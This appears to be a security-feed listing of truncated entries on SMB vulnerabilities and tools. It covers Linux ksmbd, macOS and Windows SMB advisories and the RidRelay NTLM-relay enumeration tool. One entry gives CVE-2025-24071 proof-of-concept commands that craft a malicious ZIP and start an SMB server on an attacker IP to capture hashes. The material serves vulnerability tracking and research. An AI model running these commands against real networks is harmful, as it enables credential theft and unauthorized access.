ridrelay

RidRelay Quick and easy way to get domain usernames while on an internal network. Hit me up: @skorov8 How it works RidRelay combines the NTLM Relay attack, common lsarpc based queries and RID cycling to get a list of domain usernames. It takes these steps: 1. Spins up an SMB and HTTP servers and...

CVE-2026-90175

CVE-2026-90175 is a memory leak in the Linux kernel's ksmbd SMB server module. The buffer returned by ksmbd_ipc_login_request_ext() is not freed unconditionally after ksmbd_alloc_user() calls, resulting in unreferenced 192-byte allocations triggered through the netlink/genl message path (specific...

CVE-2026-90165 smb/server: fix invalid pointer dereference in ksmbd_stop_durable_scavenger()

In the Linux kernel, the following vulnerability has been resolved: smb/server: fix invalid pointer dereference in ksmbdstopdurablescavenger See the procedure below: ksmbdlaunchksmbddurablescavenger durablescavengerrunning = true serverconf.dhtask = kthreadrun // fail, dhtask is an ERRPTR...

EUVD-2026-81759

In the Linux kernel, the following vulnerability has been resolved: smb/server: fix null-ptr-deref in ksmbdipctreeconnectrequest See the procedure below: ksmbdtreeconnconnect ksmbdshareconfigget share-name = kstrdup // fail if !testshareconfigflagshare, KSMBDSHAREFLAGPIPE // false // do not check...

CVE-2026-90166

CVE-2026-90166 affects the Linux kernel's SMB server (ksmbd) . The vulnerability is a null pointer dereference in ksmbd_ipc_tree_connect_request(), triggered when kstrdup() in ksmbd_share_config_get() fails and returns NULL for share->name, which is then passed to strlen() without a null check...

CVE-2020-0796

CVE-2020-0796 Windows SMBv3 Exploit de Elevación de Privilegios Locales Autores Daniel García Gutiérrez @danigargu Manuel Blanco Parajón @dialluvioso Referencias https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

CVE-2026-84543

An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB server may cause unexpected system termination or corrupt kernel memory...

CVE-2026-84515

CVE-2026-84515 is an out-of-bounds write in Apple macOS, addressed with improved bounds checking. The vulnerability is triggered by connecting to a malicious SMB server , which may lead to kernel memory corruption . The fix is available in macOS Golden Gate 27, macOS Sequoia 15.8, and macOS Tahoe...

CVE-2026-84515

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB server may lead to kernel memory corruption...

EUVD-2026-77884

An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB server may lead to unexpected system termination...

CVE-2026-84536

An integer underflow in Apple's macOS SMB client component was addressed through improved input validation. The flaw is triggered when a macOS system connects to a malicious SMB server , potentially leading to unexpected system termination (denial of service). The vulnerability is fixed in macOS ...

CVE-2026-84536

An integer underflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB server may lead to unexpected system termination...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: smb/server: fixed a potential null-ptr-deref of leasectxinfo in smb2open A null-ptr-deref will occur when reqoplevel == SMB2OPLOCKLEVELLEASE and parseleasestate returns NULL. This issue was fixed by checking whether...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: smb: server: splitting ksmbdrdmastoplistening from ksmbdrdmaDestroy We cannot call destroyworkqueuesmbdirectwq; before stopsessions! Otherwise, existing connections will attempt to use smbdirectwq as a NULL pointer...

CVE-2026-72949

Null pointer dereference in Windows SMB Server Network Transport Driver srvnet.sys allows an unauthorized attacker to deny service over a network...

CVE-2026-69403

Missing authorization in Windows SMB Server allows an authorized attacker to disclose information locally...

CVE-2026-69374

Allocation of resources without limits or throttling in Windows SMB Server allows an authorized attacker to deny service over a network...

EUVD-2026-73481

Allocation of resources without limits or throttling in Windows SMB Server allows an authorized attacker to deny service over a network...

CVE-2026-69374

CVE-2026-69374 is a denial-of-service vulnerability in Windows SMB Server caused by allocation of resources without limits or throttling . An authorized attacker (low privileges) can exploit this over the network to disrupt service, with high availability impact and no confidentiality or integrit...